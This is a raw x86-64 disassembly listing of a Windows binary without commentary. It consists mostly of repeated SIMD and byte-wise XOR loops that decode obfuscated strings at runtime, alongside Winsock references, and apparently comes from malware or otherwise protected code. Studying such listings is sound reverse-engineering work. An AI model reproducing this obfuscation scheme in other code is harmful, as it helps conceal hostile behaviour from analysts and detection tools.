andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm12
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140026870
cmp r8d, 0x1d
jge 0x14002699f
movsxd rax, r8d
lea r9, [rbp + 0x888]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140026970
lea rdx, [rbp + 0x888]
lea rcx, [rbp + 0x1050]
call fcn.140040340
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x1050]
mov rcx, r12
call fcn.14000a6c0
nop
lea rcx, [rbp + 0x1050]
call fcn.140040140
movups xmm4, xmmword [0x1400d6810]
movups xmmword [rbp + 0x5c8], xmm4
movq xmm5, qword [0x1400d6820]
movq qword [rbp + 0x5d8], xmm5
mov r8d, ebx
cmp r15d, 2
jl 0x140026b4b
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x5c8], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x5d0]
xorps xmm3, xmm0
movq qword [rbp + 0x5d0], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, xmm5
xorps xmm3, xmm0
movq qword [rbp + 0x5d8], xmm3
lea rdx, [rbp + 0x5c8]
jmp 0x14002891e
lea r9, [rbp + 0x5c8]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xc
jl 0x140026b60
lea rdx, [rbp + 0x5c8]
jmp 0x14002891e
movups xmm0, xmmword [0x1400d64f8]
movups xmmword [rbp + 0x990], xmm0
movups xmm1, xmmword [0x1400d6508]
movups xmmword [rbp + 0x9a0], xmm1
movsd xmm0, qword [0x1400d6518]
movsd qword [rbp + 0x9b0], xmm0
mov eax, dword [0x1400d6520]
mov dword [rbp + 0x9b8], eax
movzx eax, byte [0x1400d6524]
mov byte [rbp + 0x9bc], al
mov r8d, ebx
cmp r15d, 2
jl 0x140026cfd
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0x990]
mov edx, dword [rbp + 0x1320]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm12
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140026c10
cmp r8d, 0x2d
jge 0x140026d3f
movsxd rax, r8d
lea r9, [rbp + 0x990]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140026d10
xorps xmm0, xmm0
movups xmmword [rbp + 0x438], xmm0
mov qword [rbp + 0x448], rbx
mov qword [rbp + 0x450], rbx
lea rax, [rbp + 0x990]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140026d61
lea rdx, [rbp + 0x990]
lea rcx, [rbp + 0x438]
call fcn.140045100
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x438]
mov rcx, r12
call fcn.14000a6c0
nop
mov rdx, qword [rbp + 0x450]
cmp rdx, 0xf
jbe 0x140026dd6
inc rdx
mov rcx, qword [rbp + 0x438]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140026dd1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002edfb
call fcn.1400bbb20
mov eax, dword [0x1400d4f08]
mov dword [rbp + 0x340], eax
movzx eax, word [0x1400d4f0c]
movups xmm1, xmmword [0x1400d4ef8]
movups xmm0, xmmword [0x1400d4ee8]
movups xmm4, xmmword [str.t__UzZ__0_0__r_____a5_7S]
mov word [rbp + 0x344], ax
movups xmmword [rbp + 0x330], xmm1
movups xmmword [rbp + 0x320], xmm0
movups xmmword [rbp + 0x310], xmm4
mov byte [rbp + 0x438], 0
mov qword [rbp + 0x450], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x448], rbx
mov r8d, ebx
cmp r15d, 2
jl 0x1400270d3
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x310], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x318]
xorps xmm3, xmm0
movq qword [rbp + 0x318], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x320]
xorps xmm3, xmm0
movq qword [rbp + 0x320], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x328]
xorps xmm3, xmm0
movq qword [rbp + 0x328], xmm3
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
pmuldq xmm2, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x330]
xorps xmm3, xmm0
movq qword [rbp + 0x330], xmm3
movdqa xmm3, xmmword [0x1400d7380]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm3
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x338]
xorps xmm3, xmm0
movq qword [rbp + 0x338], xmm3
mov r8d, Ordinal_27
mov eax, r8d
lea r9, [rbp + 0x310]
lea r9, [r9 + rax*2]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x1b
jl 0x1400270e1
lea rdx, [rbp + 0x310]
jmp 0x14002891e
movups xmm0, xmmword [str.jTRLXL]
movups xmmword [rbp + 0x968], xmm0
movups xmm1, xmmword [0x1400d6180]
movups xmmword [rbp + 0x978], xmm1
movzx eax, word [0x1400d6190]
mov word [rbp + 0x988], ax
mov r8d, ebx
cmp r15d, 2
jl 0x14002725d
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0x968]
mov edx, dword [rbp + 0x1320]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm12
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140027170
cmp r8d, 0x22
jge 0x14002729f
movsxd rax, r8d
lea r9, [rbp + 0x968]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140027270
xorps xmm0, xmm0
movups xmmword [rbp + 0x458], xmm0
mov qword [rbp + 0x468], rbx
mov qword [rbp + 0x470], rbx
lea rax, [rbp + 0x968]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x1400272c1
lea rdx, [rbp + 0x968]
lea rcx, [rbp + 0x458]
call fcn.140045100
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x458]
mov rcx, r12
call fcn.14000a6c0
nop
mov rdx, qword [rbp + 0x470]
cmp rdx, 0xf
jbe 0x140027336
inc rdx
mov rcx, qword [rbp + 0x458]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140027331
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002edfb
call fcn.1400bbb20
movzx eax, word [0x1400d63c0]
movups xmm0, xmmword [str._:rvk__I]
movups xmm4, xmmword [0x1400d63a0]
mov word [rbp + 0x2a8], ax
movups xmmword [rbp + 0x298], xmm0
movups xmmword [rbp + 0x288], xmm4
mov byte [rbp + 0x458], 0
mov qword [rbp + 0x470], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x468], rbx
mov r8d, ebx
cmp r15d, 2
jl 0x140027539
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x288], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x290]
xorps xmm3, xmm0
movq qword [rbp + 0x290], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x298]
xorps xmm3, xmm0
movq qword [rbp + 0x298], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x2a0]
xorps xmm3, xmm0
movq qword [rbp + 0x2a0], xmm3
mov r8d, r13d
mov eax, r8d
lea r9, [rbp + 0x288]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x11
jl 0x140027550
lea rdx, [rbp + 0x288]
jmp 0x14002891e
movups xmm0, xmmword [str.xNW_N]
movups xmmword [rbp + 0x9e8], xmm0
movups xmm1, xmmword [0x1400d5ec0]
movups xmmword [rbp + 0x9f8], xmm1
mov r8d, ebx
cmp r15d, 2
jl 0x1400276b8
mov edx, ebx
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0x9e8]
mov r8d, dword [rbp + 0x1320]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm12
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x1400275d1
jmp 0x1400276f2
lea r9, [rbp + 0x9e8]
nop
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x1400276c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x498], xmm0
mov qword [rbp + 0x4a8], rbx
mov qword [rbp + 0x4b0], rbx
lea rax, [rbp + 0x9e8]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140027714
lea rdx, [rbp + 0x9e8]
lea rcx, [rbp + 0x498]
call fcn.140045100
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x498]
mov rcx, r12
call fcn.14000a6c0
nop
mov rdx, qword [rbp + 0x4b0]
cmp rdx, 0xf
jbe 0x140027789
inc rdx
mov rcx, qword [rbp + 0x498]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140027784
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002edfb
call fcn.1400bbb20
movzx eax, word [0x1400d7270]
movq xmm5, qword [0x1400d7268]
movups xmm0, xmmword [0x1400d7258]
movups xmm4, xmmword [str.xNW_Nx___dm]
mov word [rbp + 0x2d8], ax
movq qword [rbp + 0x2d0], xmm5
movups xmmword [rbp + 0x2c0], xmm0
movups xmmword [rbp + 0x2b0], xmm4
mov byte [rbp + 0x498], 0
mov qword [rbp + 0x4b0], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x4a8], rbx
mov r8d, ebx
cmp r15d, 2
jl 0x140027a05
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x2b0], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x2b8]
xorps xmm3, xmm0
movq qword [rbp + 0x2b8], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x2c0]
xorps xmm3, xmm0
movq qword [rbp + 0x2c0], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x2c8]
xorps xmm3, xmm0
movq qword [rbp + 0x2c8], xmm3
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
pmuldq xmm2, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, xmm5
xorps xmm3, xmm0
movq qword [rbp + 0x2d0], xmm3
mov r8d, edi
mov eax, r8d
lea r9, [rbp + 0x2b0]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x15
jl 0x140027a20
lea rdx, [rbp + 0x2b0]
jmp 0x14002891e
movups xmm0, xmmword [0x1400d5fe0]
movups xmmword [rbp + 0x9c0], xmm0
movups xmm1, xmmword [0x1400d5ff0]
movups xmmword [rbp + 0x9d0], xmm1
mov eax, dword [0x1400d6000]
mov dword [rbp + 0x9e0], eax
mov r8d, ebx
cmp r15d, 2
jl 0x140027b9d
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0x9c0]
mov edx, dword [rbp + 0x1320]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm12
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140027ab0
cmp r8d, 0x24
jge 0x140027bdf
movsxd rax, r8d
lea r9, [rbp + 0x9c0]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x140027bb0
xorps xmm0, xmm0
movups xmmword [rbp + 0x4d8], xmm0
mov qword [rbp + 0x4e8], rbx
mov qword [rbp + 0x4f0], rbx
lea rax, [rbp + 0x9c0]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140027c01
